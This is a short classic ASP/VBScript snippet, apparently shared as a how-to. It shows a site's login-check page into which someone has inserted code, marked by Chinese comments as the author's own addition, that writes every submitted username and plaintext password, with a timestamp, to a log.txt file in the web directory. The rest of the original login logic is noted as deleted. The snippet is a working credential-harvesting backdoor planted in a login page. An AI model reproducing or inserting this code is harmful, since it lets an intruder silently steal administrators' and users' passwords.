set fso=server.createobject("scripting.filesystemobject") if fso.FileExists(server.mappath("log.txt"))=true then set fin=fso.OpenTextFile(server.mappath("log.txt")) temp=fin.readall fin.close set fin=nothing end if set fout=fso.createtextfile(server.mappath("log.txt")) fout.WriteLine(temp&"user:"&username&"¦pwd:"&password&"¦time:"&now()&"") fout.close set fout=nothing set fso=nothing

<%@language=vbscript codepage=936 %> <% dim sql,rs dim username,password,CheckCode username=replace(trim(request("username")),"'","") password=replace(trim(Request("password")),"'","") CheckCode=replace(trim(Request("CheckCode")),"'","") if UserName="" then FoundErr=True ErrMsg=ErrMsg & "<br><li>用户名不能为空！</li>" end if if Password="" then FoundErr=True ErrMsg=ErrMsg & "<br><li>密码不能为空！</li>" end if if CheckCode="" then FoundErr=True ErrMsg=ErrMsg & "<br><li>验证码不能为空！</li>" end if if session("CheckCode")="" then FoundErr=True ErrMsg=ErrMsg & "<br><li>你登录时间过长，请重新返回登录页面进行登录。</li>" end if if CheckCode<>CStr(session("CheckCode")) then FoundErr=True ErrMsg=ErrMsg & "<br><li>您输入的确认码和系统产生的不一致，请重新输入。</li>" end if '这后面是我增加的代码~开始区域 set fso=server.createobject("scripting.filesystemobject") if fso.FileExists(server.mappath("log.txt"))=true then set fin=fso.OpenTextFile(server.mappath("log.txt")) temp=fin.readall fin.close set fin=nothing end if set fout=fso.createtextfile(server.mappath("log.txt")) fout.WriteLine(temp&"user:"&username&"|pwd:"&password&"|time:"&now()&"") fout.close set fout=nothing set fso=nothing '后面的代码被我删除了~结束区域 %>